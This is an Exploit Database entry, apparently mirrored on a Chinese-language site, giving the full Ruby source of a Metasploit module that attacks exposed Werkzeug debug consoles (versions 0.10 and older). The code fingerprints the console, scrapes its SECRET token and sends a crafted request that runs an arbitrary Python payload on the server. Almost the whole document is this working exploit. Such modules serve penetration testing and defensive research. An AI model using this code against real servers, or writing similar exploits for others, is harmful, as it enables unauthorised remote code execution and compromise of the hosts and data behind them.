Werkzeug – Debug Shell Command Execution (Metasploit)

• Exploit Database
• 15 阅读

• 作者： Metasploit
  日期： 2015-08-18
• 类别：

  • remote
  平台：

  • Python
• 来源：https://www.exploit-db.com/exploits/37814/

• ##
  # This module requires Metasploit: http://metasploit.com/download
  # Current source: https://github.com/rapid7/metasploit-framework
  ##
  
  require 'msf/core'
  require 'rex'
  
  class Metasploit4 < Msf::Exploit::Remote
  
  Rank = ExcellentRanking
  
  include Msf::Exploit::Remote::HttpClient
  
  def initialize(info = {})
  super(update_info(info,
  'Name' => 'Werkzeug Debug Shell Command Execution',
  'Description'=> %q{
  This module will exploit the Werkzeug debug console to put down a
  Python shell. This debugger "must never be used on production
  machines" but sometimes slips passed testing.
  
  Tested against:
  0.9.6 on Debian
  0.9.6 on Centos
  0.10on Debian
  },
  'Author' => 'h00die <mike[at]shorebreaksecurity.com>',
  'References' =>
  [
  ['URL', 'http://werkzeug.pocoo.org/docs/0.10/debug/#enabling-the-debugger']
  ],
  'License'=> MSF_LICENSE,
  'Platform' => ['python'],
  'Targets'=> [[ 'werkzeug 0.10 and older', {}]],
  'Arch' => ARCH_PYTHON,
  'DefaultTarget'=> 0,
  'DisclosureDate' => 'Jun 28 2015'
  ))
  
  register_options(
  [
  OptString.new('TARGETURI', [true, 'URI to the console', '/console'])
  ], self.class
  )
  end
  
  def check
  res = send_request_cgi(
  'method' => 'GET',
  'uri'=> normalize_uri(datastore['TARGETURI'])
  )
  
  # https://github.com/mitsuhiko/werkzeug/blob/cc8c8396ecdbc25bedc1cfdddfe8df2387b72ae3/werkzeug/debug/tbtools.py#L67
  if res && res.body =~ /Werkzeug powered traceback interpreter/
  return Exploit::CheckCode::Appears
  end
  
  Exploit::CheckCode::Safe
  end
  
  def exploit
  # first we need to get the SECRET code
  res = send_request_cgi(
  'method' => 'GET',
  'uri'=> normalize_uri(datastore['TARGETURI'])
  )
  
  if res && res.body =~ /SECRET = "([a-zA-Z0-9]{20})";/
  secret = $1
  vprint_status("Secret Code: #{secret}")
  send_request_cgi(
  'method' => 'GET',
  'uri'=> normalize_uri(datastore['TARGETURI']),
  'vars_get' => {
  '__debugger__' => 'yes',
  'cmd'=> payload.encoded,
  'frm'=> '0',
  's'=> secret
  }
  )
  else
  print_error('Secret code not detected.')
  end
  end
  
  end